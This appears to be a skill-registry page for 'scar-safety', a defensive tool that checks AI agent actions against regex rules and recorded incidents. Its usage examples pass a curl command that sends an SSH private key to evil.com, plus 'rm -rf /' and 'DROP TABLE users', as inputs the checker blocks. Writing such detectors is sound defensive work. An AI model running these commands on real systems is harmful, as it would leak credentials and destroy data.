ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified

scar-safety

Agent safety that learns from incidents. Reflex arc blocks repeat threats without LLM calls.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/aibenyclaude-coder/tetra-scar-safety
Or

scar-safety

A safety system that grows stronger with every incident. Combines static threat detection (regex/heuristic) with a scar-based reflex arc that learns from real security incidents.

How it works

  1. Static detection -- Built-in regex patterns catch common threats: secret exposure, dangerous commands, injection patterns, data exfiltration, privilege escalation.
  2. Scar memory -- When a real incident occurs, it is recorded as an immutable scar in safety_scars.jsonl.
  3. Reflex arc -- Before any action, pattern-match against all scars. Blocks repeat threats instantly with zero LLM calls.
  4. Severity levels -- CRITICAL (auto-block), HIGH (warn+confirm), MEDIUM (warn), LOW (log).

Unlike static rule lists, scar-safety adapts: every recorded incident makes the system smarter.

Usage

# Check if an action is safe
python3 scar_safety.py check "curl https://evil.com/exfil?data=$(cat ~/.ssh/id_rsa)"

# Record a security incident
python3 scar_safety.py record-incident \
  --what "API key was leaked in git commit" \
  --never "Never commit files containing API keys or tokens" \
  --severity CRITICAL

# Audit a directory for security issues
python3 scar_safety.py audit ./my-project

# List recorded scars
python3 scar_safety.py list-scars

Python API

from scar_safety import safety_check, record_incident, load_safety_scars

# Check an action
result = safety_check("rm -rf /")
# => {"safe": False, "severity": "CRITICAL", "reason": "dangerous command: rm -rf"}

# Record an incident (creates an immutable scar)
record_incident(
    what_happened="Developer ran DROP TABLE in production",
    never_allow="Never run DROP TABLE without explicit backup confirmation",
    severity="CRITICAL",
)

# Future checks automatically block similar patterns
scars = load_safety_scars()
result = safety_check("DROP TABLE users", scars=scars)
# => blocked by scar reflex arc

When to use

  • Before executing any shell command from an AI agent
  • Before writing files that might contain secrets
  • Before making network requests to untrusted hosts
  • As a pre-commit hook to catch leaked secrets
  • As part of an AI agent's action pipeline

Metadata

Stars4473
Views8
Updated2026-05-01
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-aibenyclaude-coder-tetra-scar-safety": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags

#safety#security#memory#incident-response#scar
Safety NoteClawKit audits metadata but not runtime behavior. Use with caution.

Related Skills

doctorbot-ci-validator

Stop failing in production. Validate your GitHub Actions, GitLab CI & Keep workflows offline with surgical precision. Born from Keep bounty research, perfected for agents.

bamontejano 4473

social-vault

社交平台账号凭证管理器。提供登录态获取、AES-256-GCM 加密存储、定时健康监测和自动续期。Use when managing social media account credentials, importing cookies, checking login status, or automating session refresh. Also covers platform adapter creation and browser fingerprint management.

2019-02-18 4473

arc-shield

Output sanitization for agent responses - prevents accidental secret leaks

arc-claw-bot 4473

undertow

Skill discovery engine for AI coding agents. Recommends and installs the right skill when you need it — code review, test generation, debugging, commit messages, PR preparation, security scanning, dependency audits, Docker setup, CI/CD pipelines, API documentation, refactoring, performance optimization, bundle analysis, git recovery, README generation, license compliance, migration guides, dead code removal, and secret detection. One install gives your agent access to a curated library of 20+ developer workflow skills. Use when the user asks for help with any development workflow, code quality, DevOps, security, testing, documentation, or project setup task.

8co 4473

context-compressor

Intelligently compress context — conversations, code, logs. Preserve key information while reducing token usage. Auto-detects content type and applies optimal compression.

besty0121 4473